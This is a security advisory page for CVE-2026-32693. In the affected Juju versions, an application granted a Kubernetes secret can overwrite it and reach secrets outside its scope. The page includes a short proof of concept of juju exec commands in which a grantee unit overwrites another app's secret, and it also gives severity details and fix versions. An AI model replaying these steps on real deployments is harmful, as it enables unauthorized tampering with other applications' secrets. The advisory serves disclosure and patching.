GHSA-439w-v2p7-pggc CVE-2026-32693 GO-2026-4777
Juju has unauthorized access to out-of-scope Kubernetes secrets
- Severity
- 8.8 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.31%
- Chance of exploitation in the next 30 days. Higher than 24.40% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-284 Improper Access Control
- Fix
0.0.0-20260319091847-d06919eb03ec- Upgrade github.com/juju/juju to this version or later
Description
Summary
Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy.
Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.
Details
When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.
Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.
PoC
Tested:
- two applications in the same controller, same model: one owns the secret, another get a grant
- relation between them
- secret grant
- Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI
Not tested:
- admin (user) secrets
- cross-model relations
- cross-controller relations
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"
secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0
ingress2/0:
workload-version: 24.2.0
opened-ports: []
charm: ch:amd64/nginx-ingress-integrator-203
leader: true
life: alive
relation-info:
- relation-id: 11
endpoint: ingress
related-endpoint: ingress
application-data: {}
related-units:
evilator/0:
in-scope: true
data:
egress-subnets: 10.152.183.39/32
ingress-address: 10.152.183.39
private-address: 10.152.183.39
- relation-id: 10
endpoint: nginx-peers
related-endpoint: nginx-peers
application-data: {}
local-unit:
in-scope: true
data:
egress-subnets: 10.152.183.135/32
ingress-address: 10.152.183.135
private-address: 10.152.183.135
provider-id: ingress2-0
address: 10.1.0.100
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11"
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now"
updating secrets: permission denied
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0"
nice: who-is-nice-now
When the grantee attempts to update the the granted secret:
secret-setcommand logs an error, though returns OK return status- the secret value is updated
- new secret revision is not created
- new value is visible to both owner and grantee
Impact
- the application that owns the secret
- a third application, if a secret is granted to multiple parties
- any other application that has secrets in the same Kubernetes secret backend
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/juju/juju | >= 0.0.0-20221021155847-35c560704ee2, < 0.0.0-20260319091847-d06919eb03ec |
0.0.0-20260319091847-d06919eb03ec |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/juju/juju Go → 0.0.0-20260319091847-d06919eb03ec
- go
go get github.com/juju/juju@v0.0.0-20260319091847-d06919eb03ec && go mod tidy
Severity breakdown
CVSS 3.1 8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7m55-2hr4-pw78 Juju: In-Memory Token Store for Discharge Tokens Lacks Concurrency Safety and Persistence | Medium | Also affects github.com/juju/juju |
| GHSA-w5fq-8965-c969 Juju: CloudSpec method leaking cloud credentials | Medium | Also affects github.com/juju/juju |
| GHSA-245v-p8fj-vwm2 Juju has a resource poisoning vulnerability | Medium | Also affects github.com/juju/juju |
| GHSA-j6f6-jp3p-53mw Juju: Read All Controller Logs From Compromised Workload | Medium | Also affects github.com/juju/juju |
| GHSA-gvrj-cjch-728p Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster | Critical | Also affects github.com/juju/juju |
| GHSA-5cj2-rqqf-hx9p Juju affected by Confused Deputy IDOR attack via Predictable user specified ID in Juju Secrets | Medium | Also affects github.com/juju/juju |
| GHSA-89x7-5m5m-mcmm Juju has unauthorized update of out-of-scope Vault secrets | Medium | Also affects github.com/juju/juju |
| GHSA-gfgr-6hrj-85ww Juju affected by timing ownership claim attack on new external back-end secrets | Medium | Also affects github.com/juju/juju |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor